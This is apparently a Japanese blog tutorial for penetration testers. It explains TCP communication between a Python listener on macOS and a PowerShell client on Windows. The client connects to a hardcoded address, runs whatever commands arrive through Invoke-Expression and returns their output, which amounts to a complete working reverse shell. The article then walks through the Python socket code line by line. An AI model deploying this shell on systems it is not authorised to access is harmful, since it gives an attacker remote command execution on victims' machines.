今日はPowershellとPythonを用いたTCP通信の方法について解説していこうと思います。ただ通信するだけでは面白みに欠けるのでMacOSからWindows側にPowershellコマンドを送信し実行された結果を取得するところまでを取り扱います。解説は記事の後半に書いてありますが長くなってしまったので一旦Pythonの解説のみで区切ってます。時間があればPowershellの方の解説記事も作る予定です。
実行環境
・Windows10 開発環境:Powershell ISE
・Mac Big Sur バージョン 11.4 開発環境:Pycharm Community Edition
本記事の読者は基本的にセキュリティ関連業務の従事者(ペネトレーションテスター等)を想定して書いていますが、悪用すると法律に問われる可能性がありますので正当な目的の場合のみ参考にしてください。
まずは最終的にどういった実装・動作をするのか確認するため、ソースコードのプログラムと動作させた時の挙動を見ていきましょう。最初にMac側(Python)でコネクションを受け付けるため以下のプログラムを実行します。
実際にTCP通信プログラムを動かしてみよう
#Python server.py
import socket
import threading
IP = '192.168.11.5'
PORT = 7777
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((IP, PORT))
server.listen(5)
print(f'Listening on {IP}:{PORT}')
while True:
client, address = server.accept()
print(f'Got Request from {address[0]}:{address[1]}')
handler = threading.Thread(target=handle_client, args=(client,))
handler.start()
def handle_client(client_socket):
while True:
request_length = 1
request = ''
while request_length:
data = client_socket.recv(1024)
request_length = len(data)
request += data.decode()
if (request_length < 1024):
break
print(f'-------Output-------\n {request}')
buffer = input('>')
client_socket.send(buffer.encode())
buffer = ''
if __name__=='__main__':
main()

プログラムを実行するとこのようにコネクションの受付を開始します。受付を確認出来たら続いてPowershell側でコネクションの接続要求を行います。Powershellのソースコードと実行した時の挙動は以下の通りです。
//Client.ps1
try {
try {
$socket = New-Object System.Net.Sockets.TcpClient('192.168.11.5', 7777)
} catch {
Write-Host "Failed to connect the server."
}
$command = ""
$results = ""
$stream = $socket.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$buffer = New-Object System.Byte[] 1024
$encoding = New-Object System.Text.AsciiEncoding
$writer.WriteLine("Established!")
$writer.Flush()
while($true) {
start-sleep -m 500
while($stream.DataAvailable)
{
$read = $stream.Read($buffer, 0, 1024)
$command = $encoding.GetString($buffer, 0, $read)
}
if ($command){
try {
$results = Invoke-Expression $command
ForEach ($result in $results){
$writer.WriteLine($result)
}
$writer.Flush()
} catch {
$writer.WriteLine("Failed to execute the commands.")
$writer.Flush()
} finally {
$command = ""
$results = ""
}
}
}
} finally {
$writer.Close()
$stream.Close()
}
コネクションの確立が終わるとMac側でコンソールが返されますので例えば以下のようなPowershellのコマンドを入力してみます。


そうするとWindowsでPowershellコマンドが実行された結果が返ってきました。

これによりMacからPowershellコマンドを使ってWindowsのポートの開放状況を知ることができます。
Pythonを使ったSocketオブジェクトの生成
では実際に動かした時の挙動が確認できたのでソースコードの解説に入っていきましょう。まずはPythonプログラムのmain関数です。printやwhileなどはpythonの基礎事項で既に他サイトで解説が充実してますので必要に応じて自分で調べてみてください。
1 def main():
2 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3 server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
4 server.bind((IP, PORT))
5 server.listen(5)
6 print(f'Listening on {IP}:{PORT}')
7
8 while True:
9 client, address = server.accept()
10 print(f'Got Request from {address[0]}:{address[1]}')
11 handler = threading.Thread(target=handle_client, args=(client,))
12 handler.start()
ここでは接続要求を受け付けるためのオブジェクトの作成及びオブジェクトオプションの設定、また接続要求を並列実行するためのThreadingオブジェクトの作成と実行を行います。分かり易いように先頭に連番を振っていますが実際のプログラムで書くとエラーになるので気をつけてください。
2行目のsocket.socket(socket.AF_INET, socket.SOCK_STREAM)でsocketモジュールのsocket関数を使用しsocketオブジェクトを生成。socket関数の引数にはsocket.AF_INETとsocket.SOCK_STREAMを指定していますが、socket.AF_INETはアドレスファミリーのIPv4通信を、sock_STREAMはTCP通信のことを指しています。IPv6を使用する場合やUDP通信を行う場合は引数の値をそれぞれAF_INET6やSOCK_DGRAMなどに変更します。
3行目のsetsockopt関数では2行目で生成したsocketオブジェクトのオプションを設定します。1番目のsocket.SOL_SOCKETですが、ソケットのオプションを操作する際には指定しなければならないようです。調べてもあまり有益な情報を見つけられなかったので私はおまじないのようなものだと捉えています。2番目のsocket.SO_REUSEADDRはローカルアドレスの再利用を可能にする引数です。これを指定しなかった場合一度コネクションを確立した後プログラムを予期しない方法で終了したりすると、アドレスは既に使用されている旨のエラーメッセージが出て再度コネクションを受け付けることができなくなります。プロセスが残り続けてしまうことが原因のようですが、プロセスを一々終了する操作が面倒くさかったので今回はSO_REUSEADDRのオプションを設定しました。
4行目のserver.bind関数では2行目で生成したソケットオブジェクトを引数に設定したIPアドレスとポート番号に紐付けます。例えばPCが有線LANと無線LANネットワークに接続していた場合、この生成したソケットオブジェクトを使ってどちらのネットワーク上で接続を受け付ければ良いのかコンピュータにはわかりませんよね?この場合有線LANと無線LANでIPアドレスは異なったものが振られますから、ネットワークの窓口の役割を果たすソケットを自分の想定したネットワークインターフェースのIPアドレスとポート番号に紐付けてあげる必要があります。
5行目のserver.listenでは引数に5を指定してますがこれはクライアントからの接続要求の最大値を指定しています。
9行目の client, address = server.accept()ではここまでで設定したソケットのオプション、接続要求の最大値に基づいてコネクションの受付を開始します。接続要求が行われるとclientには接続が確立された後のソケットオブジェクトが代入され、addressには接続元のIPアドレスとポート番号が代入されます。
10行目ではthreadingモジュールを利用してhandle_client関数に対して並列処理を行うためのthreadingオブジェクトを生成しています。threadingモジュールも解説が充実していますので詳細はここでは触れませんが、target引数には並列処理の対象となる関数名を、argsには対象となる関数に渡す引数を指定します。生成したソケットオブジェクトを渡したいので今回argsにclientを引数として指定しています。渡す値が()で囲まれていてカンマで終わっているのは、タプル形式で渡す必要があるためです。
11行目はメソッド名がstartとなっている通り、10行目で生成したthreadingオブジェクトを使い並列処理を開始します。
recv関数で送られてきたデータを受け取り表示する
1 def handle_client(client_socket):
2 while True:
3 request_length = 1
4 request = ''
5 while request_length:
6 data = client_socket.recv(1024)
7 request_length = len(data)
8 request += data.decode()
9 if (request_length < 1024):
10 break
11 print(f'-------Output-------\n {request}')
12 buffer = input('>')
13 client_socket.send(buffer.encode())
Threadingオブジェクトを実行するとhandle_client関数に接続を確立したsocketオブジェクトが渡されます。そのソケットを通じてPowershellコマンドの入力とその送信までを行います。
6行目ではsocketオブジェクトのrecv関数を使ってソケットから送られてきたデータの受信を行います。引数には一度に受け取るデータサイズを指定します。今回は1024ですが、これはネットワークやハードウェアとの互換性を踏まえ1024や4096等、小さめの2の累乗を指定することが推奨されています。戻り値はバイト列です。
7行目はバイト列であるdataの文字数をrequest_length変数に代入しています。
8行目のdata.decode()は受信するデータがバイト列なため文字列に変換を行います。
9行目,10行目は少々ややこしいですが、例えばソケットから送られてきたデータのサイズが4000バイトだった場合、client_socket.recv(1024)に指定した通り1度に1024バイトしか受けとることができません。そのため4096バイトのデータサイズだと全て受け取るのに4回(1024×3+928で4000バイト分全て受け取れる)recv関数を実行する必要があります。while分でrecv関数をループで実行し、データを全て受け取れた場合は最後に受け取ったデータサイズが1024未満になるので、この条件に合致する場合ループから抜けます。
12行目ではPowershellコマンドを入力するためinput関数で入力受付を行います。
13行目のclient_socket関数で入力したpowershellコマンドをエンコードし送信を行います。
以上でPythonの解説は終わりになります。